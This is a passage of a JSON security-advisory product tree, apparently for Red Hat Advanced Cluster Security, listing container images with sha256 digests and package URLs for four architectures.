"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-operator-bundle@sha256%3Adbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e?arch=amd64\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1779293013"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-roxctl-rhel8@sha256%3A51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688?arch=amd64\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1779293013"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-rhel8@sha256%3A68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5?arch=amd64\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1778755463"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-db-rhel8@sha256%3A348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439?arch=amd64\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1778755463"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-db-slim-rhel8@sha256%3Acefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba?arch=amd64\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1778755463"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-slim-rhel8@sha256%3A0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7?arch=amd64\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1778755463"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-v4-rhel8@sha256%3Ae5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df?arch=amd64\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1779293013"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-v4-db-rhel8@sha256%3Af6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe?arch=amd64\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1779293013"
}
}
}
],
"category": "architecture",
"name": "amd64"
},
{
"branches": [
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-central-db-rhel8@sha256%3A04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a?arch=arm64\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1779293013"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-collector-rhel8@sha256%3Afe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d?arch=arm64\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1778746262"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-fact-rhel8@sha256%3A71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab?arch=arm64\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1778746644"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-main-rhel8@sha256%3A7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b?arch=arm64\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1779293013"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-rhel8-operator@sha256%3A4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400?arch=arm64\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1779293013"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-roxctl-rhel8@sha256%3A0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1?arch=arm64\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1779293013"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-rhel8@sha256%3A43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47?arch=arm64\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1778755463"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-db-rhel8@sha256%3A423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48?arch=arm64\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1778755463"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-db-slim-rhel8@sha256%3A7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9?arch=arm64\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1778755463"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-slim-rhel8@sha256%3A27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771?arch=arm64\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1778755463"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-v4-rhel8@sha256%3Aea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27?arch=arm64\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1779293013"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-v4-db-rhel8@sha256%3A8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296?arch=arm64\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1779293013"
}
}
}
],
"category": "architecture",
"name": "arm64"
},
{
"branches": [
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-central-db-rhel8@sha256%3A444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e?arch=ppc64le\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1779293013"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-collector-rhel8@sha256%3Ae077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661?arch=ppc64le\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1778746262"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-main-rhel8@sha256%3A1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94?arch=ppc64le\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1779293013"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-rhel8-operator@sha256%3Acde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4?arch=ppc64le\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1779293013"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-roxctl-rhel8@sha256%3A9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5?arch=ppc64le\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1779293013"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-rhel8@sha256%3Af94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6?arch=ppc64le\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1778755463"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-db-rhel8@sha256%3A9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416?arch=ppc64le\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1778755463"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-db-slim-rhel8@sha256%3Af1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4?arch=ppc64le\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1778755463"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-slim-rhel8@sha256%3A91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7?arch=ppc64le\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1778755463"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-v4-rhel8@sha256%3Afa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152?arch=ppc64le\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1779293013"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-v4-db-rhel8@sha256%3A76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa?arch=ppc64le\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1779293013"
}
}
}
],
"category": "architecture",
"name": "ppc64le"
},
{
"branches": [
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-central-db-rhel8@sha256%3A10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c?arch=s390x\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1779293013"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-collector-rhel8@sha256%3A1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece?arch=s390x\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1778746262"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-main-rhel8@sha256%3A16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802?arch=s390x\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1779293013"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-rhel8-operator@sha256%3Aceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e?arch=s390x\u0026repository_url=registry.redhat.io/advanced-cluster-security\u0026tag=1779293013"
}
}
},
{
"category": "product_version",
